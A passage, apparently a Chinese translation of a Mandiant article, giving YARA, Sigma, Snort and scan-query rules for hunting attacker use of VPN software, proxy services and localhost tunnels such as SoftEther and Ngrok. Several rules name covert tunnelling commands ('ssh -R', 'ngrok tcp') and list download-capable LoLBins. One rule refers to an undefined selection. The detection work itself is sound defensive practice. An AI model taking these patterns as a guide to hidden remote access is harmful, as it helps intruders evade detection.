引言
从攻击者的角度考虑攻击生命周期时,他们几乎在每一步都有多种选择。防御者需要回答的一个问题是,对手是否会使用公开已知的恶意软件(即BEACON)、自定义的恶意软件(即HAMMERTOSS)或提供完成所述步骤所需功能的合法软件和服务(如SoftEther虚拟专用网络)。
需要注意的是,每一种选择都有其优缺点:公开的恶意软件可能非常容易上手,但更容易被发现,因为它已经公开一段时间了。自定义恶意软件可能非常隐秘,因为它使用了独特的代码库,但很费时间和/或金钱,因为它需要在使用前完成相应的开发工作。合法的软件和服务也可能很隐蔽,因为它们可以伪装成“正常的网络活动”,但可能缺乏所需的功能类型,因为它不是专门为渗透而编写的。
Mandiant在与强大的对手的接触过程中,跟所有这三种理论上的“选择”都曾打过交道,并发现每一种方法都对搜索、收集和分析非常有价值。
但是,本文将主要考察第三个选项,通常也是讨论的最少的一个选项:合法的虚拟专用网络(VPN)软件、代理服务和本地主机隧道。我们将对这三种远程访问方法进行详细的考察,以进一步提高防御者针对VPN软件、代理服务和隧道的搜索和检测能力。
定义差异
VPN软件
要了解VPN软件,必须了解VPN:虚拟专用网络是通过Internet从设备到网络的加密连接,用于安全传输敏感数据。它可以防止未经授权的人员窃听通信,并允许用户远程工作。
在下文中,VPN软件将被定义为便于使用VPN连接的任何软件(SoftEther VPN客户端、OpenVPN客户端等)。
代理服务
在计算机科学中,代理是位于发出请求的客户端和被请求的目标服务器之间的服务器。代理可用于多种用途,包括网络日志收集、缓存存储库以及提供匿名互联网访问。代理服务是一种在线资源,使得用户既可以使用代理所带来的便利,又无需操心任何基础设施问题(RSocks、HideMyAss、Hide.Me 等)。
本地主机隧道(LocalHost Tunneling)
VPN软件和代理服务都有助于实现从客户端到服务器的出站连接,而本地主机隧道与此类似,它有助于实现从外部网络返回到客户端的连接。通常情况下,这是通过 "暴露本地主机"(Ngrok、LocalTunnel、Localhost.Run等)实现的。
针对所有方向的检测
通过对不同的搜索和检测方向进行集思广益,得出了以下结论:针对这种规模的合法软件和服务的检测,无法通过单一检测规则(detection discipline)实现,而是要借助于多个规则。
关于搜索与检测方向的头脑风暴
发动这样的大规模搜索和检测行动需要集思广益,充分考虑组织可用的各种搜索和检测选项。例如:如果组织无法对网络流量进行snort签名,那么这种类型的方向可以放到其他主要检测方法之后。
此外,在寻找作为方法使用的技术时,很容易陷入“whac-a-vendor”类型的方法,专注于每个供应商的技术版本(即针对SoftEther、NordVPN、Ngrok等的检测)。这并不是一种可怕的方法,因为它有其优点,但并不理想。在下面的小节中,将强调涵盖SoftEther VPN、Ngrok和其他软件的检测技术。理想的搜索过程将使用由更多的方法驱动的检测技术,这样的好处是更加独立于供应商,正如以下搜索方向部分所强调的。
VPN客户端方向
封装可疑VPN文件的文件
关注点:攻击者可能会使用无害文件(这些文件将VPN文件存储在自己的内部)伪装成远程访问软件以外的其他软件。
方向:使用可以窥视文件本身结构的检测逻辑来识别位于无害文件中的VPN证据。
以下内容可被视为与VPN相关字符串和/或VPN文件相关的搜索方法和方向:
- 带有嵌入式十六进制Payload的RTF格式文件
- 带有嵌入式VPN目标域的OfficeOpenXML文件
- 带有VPN文件或域引用的光盘映像(ISO映像)文件
- 带有VPN文件或域引用的Mach对象(Mach-O)文件
带有十六进制VPN文件引用的RTF嵌入式十六进制Payload
rule M_Hunting_VPNEngine_RTF_Embedded_1 {
meta:
description = "Detects a suspicious string often used in PE files in a hex encoded object stream along with a VPN or proxy filename in the hex object."
author = "Mandiant"
md5 = "befec87a9742ba8e8f6e61e1133f55fb"
strings:
$pe = "546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f6465" ascii
$mz = /4d5a[a-zA-Z0-9]{19,21}ffff/
$vpn1 = /56504e[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii
$vpn2 = /76706e[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii
$vpn3 = /70726f7879[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii
$vpn4 = /50726f7879[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii
$vpn5 = /50524f5859[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii
condition:
filesize < 15MB and (uint16(0) == 0x5C7B) and ($pe or $mz) and (1 of ($vpn*))
}
具有嵌入式VPN目标域的OOXML
rule M_Hunting_VPNEngine_OOXML_Target_1
{
meta:
description = "Detects an external relationship link in an OOXML with a VPN or proxy domain."
author = "Mandiant"
strings:
$relationship_external = /TargetMode=[\"\']External[\"\']/ ascii nocase wide
$anchor = "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">"
$s1 = " Target=" ascii nocase
$s2 = " TargetMode=" ascii nocase
$s3 = " Type=" ascii nocase
$s4 = " Id=" ascii nocase
$re = /Target=[\"\'][^\"\']{0,100}(vpn|proxy).{0,100}/ ascii nocase
condition:
(filesize < 10KB) and $anchor and $relationship_external and (1 of ($s*)) and $re
}
带有VPN文件或域引用的ISO文件
rule M_Hunting_VPNEngine_ArchiveEngine_ISOWithEmbeddedVPN_1
{
meta:
author = "Mandiant"
description = "Looking for ISO files with embedded payloads utilizing VPN strings."
md5 = "4c5f27d28f369da5d5ecce947bb22943"
strings:
$s1 = /vpn[^\.]{0,50}\.(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii nocase fullword
$s2 = /proxy[^\.]{0,50}\.(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii nocase fullword
$s3 = /vpn[a-zA-Z0-9\.]{0,50}\.(com|io|ru|org|net)/ ascii nocase
$s4 = /proxy[a-zA-Z0-9\.]{0,50}\.(com|io|ru|org|net)/ ascii nocase
$s5 = "remote access" ascii nocase wide fullword
$s6 = /localhost[^a-zA-Z0-9]{0,5}tunnel/ ascii nocase fullword
condition:
uint32(0x8000) == 0x30444301 and uint32(0x8004) == 0x00013130 and any of them
}
带有VPN文件或域引用的Mach-O文件
rule M_Hunting_MacOS_VPNEngine_MachO_FEBeta_1
{
meta:
author = "Mandiant"
description = "This rule looks for Mach-O files with strings indicating relationship with a VPN client or domain."
md5 = "6de8cc7217cb3e0c235fcdde83b1140b"
strings:
$s1 = /vpn[^\.]{0,50}\.(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii fullword nocase
$s2 = /proxy[^\.]{0,50}\.(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii fullword nocase
$s3 = /vpn[a-zA-Z0-9\.]{0,50}\.(com|io|ru|org|net)/ ascii nocase
$s4 = /proxy[a-zA-Z0-9\.]{0,50}\.(com|io|ru|org|net)/ ascii nocase
$s6 = /localhost[^a-zA-Z0-9]{0,5}tunnel/ ascii fullword nocase
condition:
filesize < 15MB and (uint32(0) == 0xBEBAFECA or uint32(0) == 0xFEEDFACE or uint32(0) == 0xFEEDFACF or uint32(0) == 0xCEFAEDFE) and (1 of them)
}
带有包含VPN相关字符串的嵌入式文件的OOXML
\# author = "Mandiant" ; type = "OOXML" ; md5 =
"a2d34e8c543aef78766b37dcaa5f7686"
M_Hunting_VPNEngine_OOXML_Target_1;Engine:51-
255,Container:CL_TYPE_ZIP,Target:0;(0&1&2)&(3|4|5|6);3c3f786d6c;3c773a646f637
56d656e74;353436383639373332303730373236663637373236313664;373637303665;35363
5303465;37303732366637383739;35303732366637383739
通过VPN客户端配置文件收集情报
关注点:许多VPN客户端将配置文件作为输入,客户端本身才是关注点,然而,配置文件提供了切入点和潜在的关键点。
方向:使用基于文件的分析来确定公用存储中或不需要这些文件的系统上的常见VPN客户端配置文件。
识别SoftEther VPN配置
{
meta:
author = "Mandiant"
md5 = "2586bb9e27a4b3da4ed0f5d15883f84e"
description = "Rule looks for SoftEther config file."
strings:
$configfile = "Software Configuration File" ascii fullword
$softether1 = "softether" ascii fullword nocase
$softether2 = "EnableSoftEtherKernelModeDriver" nocase
$topFields1 = "ListenerList"
$topFields2 = "LocalBridgeList"
$topFields3 = "ServerConfiguration"
$topFields4 = "VirtualHUB"
condition:
filesize < 1MB and $configfile and (1 of ($softether*)) and (1 of ($topFields*))
}
识别Ngrok VPN 配置
rule M_Hunting_VPNEngine_NgrokConfig_1
{
meta:
author = "Mandiant"
description = "Rule looks for Ngrok YML config file."
md5 = "5d1dbfdc47e820605fedabb98cf17dd5"
strings:
$header = "authtoken:" ascii
$tokenRE = /authtoken:\s+[a-zA-Z0-9]{24,30}_[a-zA-Z0-9]{16,22}/ ascii
$tunnel = "tunnels:" ascii
condition:
filesize < 1MB and $header in (0..20) and $tokenRE and $tunnel
}
rule M_Hunting_VPNEngine_NgrokConfig_2
{
meta:
author = "Mandiant"
description = "Rule looks for Ngrok YML config file."
md5 = "5d1dbfdc47e820605fedabb98cf17dd5"
strings:
$header = "authtoken:" ascii
$tokenRE = /authtoken:\s[a-zA-Z0-9]{26,30}_[a-zA-Z0-9]{19,22}/ ascii
condition:
filesize < 1MB and $header at 0 and $tokenRE
}
伪装成VPN客户端或软件运行的进程。
关注点:经常会看到名称被修改的二进制文件,比如这个SoftEther VPN Bridge被重命名为iexplore.exe和conhost.exe,以及修改其他方面,来掩盖文件的真正用途。
方向:避免仅依赖于文件名的检测技术,尽量采用能检测命名或重命名进程、文件等方面的方法。使用基于进程的检测逻辑来识别VPN组件常见的开关、操作和连接。甚至靠基于VPN相关字符串的检测方法来识别二进制代码的真实身份或意图。
通过网络连接检测SoftEther VPN
title: 'Renamed SoftEtherVPN by Network Connections (METHODOLOGY)'
description: 'Detect the activity of a renamed SoftEther VPN binary by detecting known domain connections.'
author: Mandiant
date: '2022-06-15'
status: hunting
logsource:
product: 'FireEye HX'
detection:
selectionDomain:
urlMonitorEvent Hostname|contains:
\- 'get-my-ip.ddns.softether-network.net'
\- 'keepalive.softether.org'
\- 'update-check.softether-network.net'
urlMonitorEvent Hostname|re: 'vpn[0-9a-zA-Z]{1,50}\.softether.net'
filterProcessName:
urlMonitorEvent Process|contains:
\- 'softether'
\- 'vpnbridge'
\- 'vpnclient'
\- 'vpncmgr'
\- 'vpngateplugin'
\- 'vpninstall'
\- 'vpnserver'
\- 'vpnsetup'
\- 'vpnmgr'
\- 'zsatunnel'
condition: selectionDomain and not filterProcessName
fields:
\- "urlMonitorEvent Process"
\- "urlMonitorEvent Hostname"
\- "urlMonitorEvent Type"
\- "urlMonitorEvent Commandline"
falsepositives:
\- "Known proxy services like ZScaler."
level: "medium"
通过注册表的修改情况来检测SoftEther VPN
title: 'Renamed SoftEtherVPN by Registry Modifications (METHODOLOGY)'
description: 'Detect the activity of a SoftEther VPN binary by detecting registry modifications.'
author: Mandiant
date: '2022-06-15'
status: hunting
logsource:
product: 'FireEye HX'
detection:
selectionType:
regKeyEvent Type: 1
selectionStaticPath:
regKeyEvent Path|contains: 'System\CurrentControlSet\Services\SEVPNCLIENT'
selectionREPath:
regKeyEvent Path|re: 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\[a-zA-Z0-9_\s-]{0,100}?SoftEther[a-zA-Z0-9_\.\s-]{0,100}'
condition: selectionType and (selectionStaticPath or selectionREPath)
fields:
\- "regKeyEvent Process"
\- "regKeyEvent Path"
\- "regKeyEvent Key"
\- "regKeyEvent Value"
falsepositives:
\- "Unknown"
level: "medium"
命令行中的常见VPN开关(搜索)
在进程命令行开关中寻找与VPN相关的字符串,包括但不限于vpn、proxy、sstp和l2tp。
title: 'VPN-like Process with Known Switches (METHODOLOGY)'
description: 'Detect suspected VPN binaries by known commandline switches.'
author: Mandiant
date: '2022-06-15'
status: hunting
logsource:
product: 'FireEye HX'
detection:
selectionProcessType:
processEvent eventType: "start"
selectionSwitchOptions1:
processEvent processCmdLine|contains:
\- ' --vpn'
\- ' --proxy'
selectionSwitchOptionsMethod1:
processEvent processCmdLine|contains:
\- 'ssl'
\- 'l2tp'
\- 'sstp'
selectionSwitchOptions2:
processEvent processCmdLine|contains:
\- 'vpn'
\- 'proxy'
selectionSwitchOptionsMethod2:
processEvent processCmdLine|contains:
\- ' --ssl'
\- ' --l2tp'
\- ' --sstp'
condition: selectionProcessType and ((selectionSwitchOptions1 and selectionSwitchOptionsMethod1) or (selectionSwitchOptions2 and selectionSwitchOptionsMethod2))
fields:
\- "processEvent processCmdLine"
\- "processEvent Process"
\- "processEvent Username"
\- "processEvent Md5"
falsepositives:
\- "Unknown"
level: "low"
进程中的常见VPN域(搜索)
使用以下正则表达式来识别启动到VPN或代理域的网络连接的进程。
(vpn|proxy)\.[^.]{1,100}\.(net|com|org|io|ru)
这在很大程度上依赖于以vpn.company[.]com或proxy.company[.]com格式使用域的常见做法。虽然这个表达式无法涵盖所有可能性,但至少能够提供搜索的切入点;如果没有找到任何切入点,则可以放宽该正则表达式的条件。
title: 'Generic VPN Domains from the Process (Hunting)'
description: 'Identifying processes that initiate a network connection to VPN or proxy domains with the following regular expression.'
author: Mandiant
date: '2022-06-15'
status: hunting
logsource:
product: 'FireEye HX'
detection:
selectionDomain:
urlMonitorEvent Hostname|re:
\- 'vpn\.[^.]{1,100}\.(net|com|org|io)'
\- 'proxy\.[^.]{1,100}\.(net|com|org|io)'
filterProcessName:
urlMonitorEvent Process|contains:
\- 'proxy'
\- 'vpn'
condition: selectionDomain and not filterProcessName
fields:
\- "urlMonitorEvent Process"
\- "urlMonitorEvent Hostname"
\- "urlMonitorEvent Type"
\- "urlMonitorEvent Commandline"
falsepositives:
\- "Known proxy services like ZScaler."
\- "Other legitimate in-house proxies."
level: "low"
进程中的常见VPN用户代理(搜索)
识别合法VPN代理的使用情况,能够带来大量的搜索机会。为此,可以在HTTP用户代理字符串中搜索关键字VPN和proxy。另外,利用已知的授权软件列表或授权的VPN/代理域进行“调优”可以减少误报。
title: 'Generic VPN User Agents from the Process (Hunting)'
description: 'Searching for VPN and proxy keywords within HTTP user-agent strings.'
author: Mandiant
date: '2022-06-15'
status: hunting
logsource:
product: 'FireEye HX'
detection:
selectionUserAgent:
urlMonitorEvent userAgent|contains:
\- 'proxy'
\- 'vpn'
filterHostname:
urlMonitorEvent Hostname|contains:
\- 'vpn'
\- 'proxy'
condition: selectionUserAgent and not filterHostname
fields:
\- "urlMonitorEvent Process"
\- "urlMonitorEvent Hostname"
\- "urlMonitorEvent Type"
\- "urlMonitorEvent Commandline"
falsepositives:
\- "Known proxy services like ZScaler."
\- "Other legitimate in-house proxies."
\- "FortiSSLVPN"
\- "GoogleImageProxy"
\- "ESET Security proxy detection"
level: "low"
常见的SoftEther VPN相关字符串(搜索)
利用独特的字符串来检测二进制文件中已知的SoftEther功能,将有助于绕过进程名称检测并识别相应的功能——例如下面案例中的UNC3500。
rule M_Hunting_Linux_VPNEngine_GenericSoftEther_1
{
meta:
author = "Mandiant"
description = "Rule looks for SoftEther generic terms in samples."
strings:
$domain = "update-check.softether-network.net" ascii fullword
$keepalive = "keepalive.softether.org"
$vpn = "SoftEther Corporation" ascii fullword
condition:
filesize < 10MB and uint32(0) == 0x464c457f and all of them
}
执行时会出站并下载已知VPN客户端的文件或进程
关注点:实际上,有数百种方法都可以完成远程下载,比如使用living off the land型二进制文件或通过自定义代码。但是,如果发现某个进程以不符合正常用户行为的方式下载VPN客户端,那么,其目的很可能是利用此客户端进行恶意行为。
方向:识别通过living off the land型二进制文件下载VPN客户端软件的出站连接。
带有VPN域的living off the land型二进制文件
Living off the Land事件描述了一种计算机事件,其中攻击者使用系统中可用的合法软件和功能来执行恶意操作。这些合法软件的二进制文件被称为Living off the Land型二进制文件(LoLBins),当与VPN或代理方法结合使用时,可实现稳健的隐蔽操作。
利用进程数据搜索这些具有下载功能的LoLBin,并结合VPN和代理域,就有可能会发现其滥用行为。
title: 'Living off the Land Binaries with VPN Domains (Hunting)'
description: 'Utilizing process data to hunt for LoLBins that have download functionality in combination with VPN and proxy domains may lead to identifying their abuse.'
author: Mandiant
date: '2022-06-15'
status: hunting
logsource:
product: 'FireEye HX'
detection:
selectionProcessName:
urlMonitorEvent Process:
\- 'AppInstaller.exe'
\- 'Bitsadmin.exe'
\- 'CertOC.exe'
\- 'CertReq.exe'
\- 'Certutil.exe'
\- 'cmdl32.exe'
\- 'Desktopimgdownldr.exe'
\- 'Diantz.exe'
\- 'Esentutl.exe'
\- 'Expand.exe'
\- 'Extrac32.exe'
\- 'Findstr.exe'
\- 'Finger.exe'
\- 'GfxDownloadWrapper.exe'
\- 'Hh.exe'
\- 'Ieexec.exe'
\- 'Imewdbld.exe'
\- 'Makecab.exe'
\- 'MpCmdRun.exe'
\- 'PrintBrm.exe'
\- 'Replace.exe'
\- 'Squirrel.exe'
\- 'Wsl.exe'
\- 'Xwizard.exe'
selectionUrl:
urlMonitorEvent requestUrl|re: '[a-zA-Z0-9\.]{0,50}(vpn|proxy)[a-zA-Z0-9\.]{0,50}\.exe'
condition: selectionProcessName and selectionUrl
fields:
\- "urlMonitorEvent Process"
\- "urlMonitorEvent Hostname"
\- "urlMonitorEvent requestUrl"
\- "urlMonitorEvent Commandline"
falsepositives:
\- "Unknown"
level: "medium"
代理服务方向
配置为接收VPN或代理连接的基础设施
关注点:基于主机的可见性可能是组织所缺乏的数据源,因此,很难确定这些字符串。这会导致检测和搜索方向的缺乏。
方向:盯紧从主机到互联网基础设施:有许多工具和数据源可以考察基础设施的运行情况,这可能使分析师能够自动检测某些VPN端点和服务器。
注意:这与所有三种技术(VPN客户端、代理服务和隧道)都紧密相关。
下面列出了不同的搜索查询;这里重点关注专用和常见的VPN或代理的基础设施。
- 常见VPN和代理域
- 常见VPN证书
- MeFound VPN服务
- Hide.Me VPN服务
- OpenVPN服务
- Cisco IOS SSL VPN服务
- Wireguard VPN基础设施
- SoftEther VPN基础设施
- Ngrok服务基础设施
常见的VPN与代理
VPN域
services.tls.certificates.leaf_data.issuer.common_name:/.*\.vpn\..*\.[a-z]{1,4}/
代理域
services.tls.certificates.leaf_data.issuer.common_name:/.*\.proxy\..*\.[a-z]{1,4}/
常见的VPN证书通用名称和组织
常见的VPN证书通用名称和组织
parsed.issuer.common_name:"VPN" and parsed.subject.organization:"VPN"
其他VPN服务域
MeFound
services.tls.certificates.leaf_data.issuer.common_name:/[^\.]+\.mefound\.com/ or services.tls.certificates.leaf_data.subject.common_name:/[^\.]+\.mefound\.com/ or services.tls.certificates.leaf_data.names:/[^\.]+\.mefound\.com/
Hide.Me代理服务器
services.tls.certificates.leaf_data.names:/.*hide\.me.*/ services.tls.certificates.leaf_data.names=hideservers.net
OpenVPN
services.tls.certificates.leaf_data.subject.organization:"ocvpn" or services.tls.certificates.leaf_data.subject.common_name:"ocvpn"
Cisco IOS SSL VPN
services.http.response.headers.set_cookie:/webvpn[a-z]*=.*/
Wireguard
(services.http.response.html_title:/.*WireGuard VPN.*/) or (services.http.response.body:/.*Wireguard VPN.*/)
(services.http.response.html_title:/.*Wireguard.*/ or services.http.response.body:/.*Wireguard.*/) and not ((services.http.response.html_title:/.*WireGuard VPN.*/) or (services.http.response.body:/.*Wireguard VPN.*/)) and not ((services.http.response.html_title:/.*Turnkey WireGuard.*/) or (services.http.response.body:/.*Turnkey Wireguard.*/))
SoftEther
使用被滥用IP空间的SoftEther
services.tls.certificates.leaf_data.subject.common_name:/.*\.softether\.net/ AND autonomous_system.name=`HETZNER-AS` services.tls.certificates.leaf_data.subject.common_name:/.*softether.net/ AND autonomous_system.name=`DIGITALOCEAN-ASN` services.tls.certificates.leaf_data.subject.common_name:/.*softether.net/ AND autonomous_system.name=`AS-CHOOPA` services.tls.certificates.leaf_data.subject.common_name:/.*\.softether\.net/ AND autonomous_system.name=`OVH`
不可信的SoftEther证书
不可信的VPN自定义SoftEther证书
parsed.subject.common_name:/vpn[0-9]{1,15}\.softether\.net/ AND tags.raw: "untrusted" AND NOT parsed.subject.common_name:/vpn[0-9]{1,15}\.softether\.net/
不可信的VPN非自定义SoftEther证书
parsed.subject.common_name:/vpn[0-9]{1,15}\.softether\.net/ AND tags.raw: "untrusted"
SoftEther杂项
证书上的SoftEther VPN域
same_service(services.tls.certificates.leaf_data.issuer.common_name:/.*\.softether\.net/ AND services.port:443)
HTTP/S SoftEther VPN IP地址
same_service(services.tls.certificates.leaf_data.issuer.common_name:/.*\.softether\.net/ AND (services.service_name=`HTTP` OR services.extended_service_name=`HTTPS`))
非美国IP地址主机托管的SoftEther VPN域
same_service(services.tls.certificates.leaf_data.subject.common_name:/vpn.*softether.net/ AND NOT services.tls.certificates.leaf_data.issuer.country:"US")
Ngrok域
Ngrok域
services.tls.certificates.leaf_data.names:/.*ngrok.*/
Ngrok检查服务
same_service(services.http.request.uri:/.*inspect.*/ and services.http.request.uri:/.*http.*/ and services.http.response.html_title:"ngrok")
ProtonVPN
Proton VPN服务
services.tls.certificates.leaf_data.issuer.organizational_unit:protonvpn or services.http.response.html_title:protonvpn
用于代理服务的浏览器扩展
关注点:许多代理服务都提供了一个配套的浏览器扩展,虽然不常见,但攻击者的确有可能利用该扩展。
此外,攻击者可能会使用加载程序功能,通过Chrome来访问VPN或代理服务。这种情况可以在PowerShell加载器脚本或LNK文件中观察到,其中--load-extension开关可以与Chrome一起使用来加载特定的扩展。
方向:将文件分析的重点缩小到浏览器扩展构件,然后在其中查找与VPN相关的字符串。为此,可以直接搜索浏览器扩展清单文件或可移植可执行文件。
加载Chrome的VPN或代理扩展
rule M_METHODOLOGY_VPNEngine_LoadVPNProxyChromeExtension_1
{
meta:
author = "Mandiant"
description = "Hunting rule that looks for files containing strings pertaining to execution of Chrome to launch an extension with VPN or proxy equities."
strings:
$r1 = /chrome[^\r\n]*?--load-extension=/ ascii nocase wide
$s1 = "chrome" ascii wide
$s2 = "--load-extension=" ascii wide
$p1 = "vpn" ascii wide fullword nocase
$p2 = "proxy" ascii wide fullword nocase
condition:
filesize < 50KB and all of ($s*) and $r1 and ($p1 or $p2)
}
Chrome扩展的代理清单文件
rule M_Hunting_VPNEngine_ChromeExtensions_1
{
meta:
author = "Mandiant"
md5 = "995f7d9ca805cce59acbeff82ed4adc6"
strings:
$manifest1 = "\"manifest_version\":" ascii nocase
$manifest2 = "\"name\":" ascii nocase
$manifest3 = "\"version\":" ascii nocase
$optional1 = "\"author\":" ascii nocase
$optional2 = "\"browser_action\":" ascii nocase
$optional3 = "\"content_security_policy\":" ascii nocase
$optional4 = "\"default_icon\":" ascii nocase
$optional5 = "\"default_locale\":" ascii nocase
$optional6 = "\"default_title\":" ascii nocase
$optional7 = "\"description\":" ascii nocase
$optional8 = "\"differential_fingerprint\":" ascii nocase
$optional9 = "\"icons\":" ascii nocase
$optional10 = "\"permissions\":" ascii nocase
$optional11 = "\"background\":" ascii nocase
$anchorre1 = /\"default_title\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
$anchorre2 = /\"description\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
$anchorre3 = /\"name\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
$anchorre4 = /\"short_name\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
$anchorre5 = /\"default_title\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
$anchorre6 = /\"description\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
$anchorre7 = /\"name\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
$anchorre8 = /\"short_name\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
condition:
filesize < 1MB and $manifest1 and $manifest2 and $manifest3 and (2 of ($optional*)) and (1 of ($anchorre*))
}
二进制文件中与Chrome扩展相关的字符串
rule M_Hunting_VPNEngine_ChromeExtensionInBinary_1
{
meta:
author = "Mandiant"
md5 = "2e09a136e40143ed3317c9ce6ea027a6"
strings:
$manifest1 = "\"manifest_version\":" ascii nocase
$manifest2 = "\"name\":" ascii nocase
$manifest3 = "\"version\":" ascii nocase
$optional1 = "\"author\":" ascii nocase
$optional2 = "\"browser_action\":" ascii nocase
$optional3 = "\"content_security_policy\":" ascii nocase
$optional4 = "\"default_icon\":" ascii nocase
$optional5 = "\"default_locale\":" ascii nocase
$optional6 = "\"default_title\":" ascii nocase
$optional7 = "\"description\":" ascii nocase
$optional8 = "\"differential_fingerprint\":" ascii nocase
$optional9 = "\"icons\":" ascii nocase
$optional10 = "\"permissions\":" ascii nocase
$optional11 = "\"background\":" ascii nocase
$anchorre1 = /\"default_title\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
$anchorre2 = /\"description\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
$anchorre3 = /\"name\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
$anchorre4 = /\"short_name\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
$anchorre5 = /\"default_title\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
$anchorre6 = /\"description\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
$anchorre7 = /\"name\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
$anchorre8 = /\"short_name\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
condition:
((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize < 20MB and $manifest1 and $manifest2 and $manifest3 and (2 of ($optional*)) and (1 of ($anchorre*))
}
本地主机隧道方向
使用合法的程序
关注点:许多LocalHost Tunnel进程会利用合法进程(SSH)或自定义非恶意二进制文件(ngrok,lt)来实现隧道。这就提高了滥用检测的难度,因为检测技术通常倾向于方法论,而不是二进制识别。
方向:由于LocalHost Tunnel通常使用独特且具有一定可识别度的进程命令行结构,这就为检测带来了机会。
本地主机隧道命令行
本地主机隧道的主机命令(方法)
title: 'Localhost Tunnel Host Commands (METHODOLOGY)'
description: 'Detect potential localhost tunnel commandlines.'
author: Mandiant
date: '2022-06-15'
status: hunting
logsource:
product: 'FireEye HX'
detection:
selectionKnownCMDs:
processEvent processCmdLine|re:
\- 'ngrok\s+(http|tcp|tls|start)\s+'
\- 'lt\s+--port\s+[0-9]{1,5}'
\- 'gotunnelme\s+[0-9]{1,5}'
selectionNgrokProcess:
processEvent processCmdLine|contains: "ngrok"
selectionNgrokCMD:
processEvent processCmdLine|contains:
\- 'http '
\- 'tls '
\- 'tcp '
\- 'start '
selectionLHRun1:
processEvent processCmdLine|contains: "ssh"
selectionLHRun2:
processEvent processCmdLine|contains: "-R"
selectionLocalTunnel1:
processEvent processCmdLine|contains: "localtunnel"
selectionLocalTunnel2:
processEvent processCmdLine|contains: "--port"
selectionLocalTunnel3:
processEvent processCmdLine|contains:
\- "/lt"
\- "\lt"
\- " lt"
selectionLocalTunnel4:
processEvent processCmdLine|contains:
\- " http"
\- " https"
selectionLocalTunnel5:
processEvent processCmdLine|contains:
\- "-s"
\- "--server"
\- "-h"
\- "--host"
\- "-p"
\- "--port"
condition: selectionKnownCMDs or (selectionNgrokProcess and selectionNgrokCMD) or (selectionLHRun1 and selectionLHRun2 and selectionLHRun3) or ((selectionLocalTunnel1 or selectionLocalTunnel3) and selectionLocalTunnel2) or (selectionLocalTunnel1 and selectionLocalTunnel4 and selectionLocalTunnel5)
fields:
\- "processEvent processCmdLine"
\- "processEvent Process"
\- "processEvent Username"
\- "processEvent Md5"
falsepositives:
\- "Unknown"
level: "medium"
网络流量中的Ngrok代理的IP
历史上看,Ngrok的隧道技术是通过隐藏源IP来保护源服务器。然而,所有自由端点的源IP会在隧道端点返回的所有HTTP响应上的ngrok-agent-ips头部中暴露出来。Snort可以轻松搜索并检测到这些数据,以更好地标记和理解网络会话数据。
alert tcp any any -> any any ( msg:"M.Tunneler.HTTP.Ngrok.[response]"; content:"HTTP/1"; depth:6; content:"200 OK"; within:9; content:"|0d0a|ngrok-agent-ips:"; threshold:type limit,track by_src,count 1,seconds 1800; sid:1; rev:1; )
其他常见的方向
包含常见VPN字符串的文件
关注点:攻击者可能会使用经过修改的二进制文件与VPN基础设施进行交互。这是一种更加通用的方向,可用于对潜在的类似VPN的行为进行全面的研究。
方向:确定难以修改的核心二进制组件(即PDB路径、导出函数、第三方库、域等)。
二进制文件中的常见域
rule M_Hunting_VPNEngine_GenericProxyVPNDomain_1
{
meta:
author = "Mandiant"
description = "Rule looks for generic proxy/vpn domains."
md5 = "96842ad6cc00fab5776171c56812b9a5"
strings:
$UniqueProxyVPNDomain = /(proxy|vpn)\.[^\.]{1,100}\.(net|com|org)/ ascii fullword nocase
condition:
filesize < 5MB and ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and $UniqueProxyVPNDomain
}
ConventionEngine
如Definitive Dossier of Devilish Debug Details: Part One中所述:
“用户通常根据文件夹和文件的内容来命名它们。同时,计算机也会迫使用户根据数据类型、角色和用途来标记和注释其数据。这种人机约定意味着大多数数字内容都有一些描述性的东西,或描述性的“特征”,这些特征存在于许多文件中,包括恶意软件文件——但是,并不是所有这些特征都会存在于[二进制文件]中,因为攻击者并不希望它们被防御方看到。对于PDB路径尤其如此,它可以被描述为编译过程的结果,是恶意软件中留下的描述开发环境的工具标记。”
VPN或代理PDB的命名惯例
rule M_Hunting_Win_VPNEngine_PDB_1
{
meta:
author = "Mandiant"
description = "Rule looks for VPN or Proxy PDB."
md5 = "2bf422e19e721b461f9e98271fb28ad3"
strings:
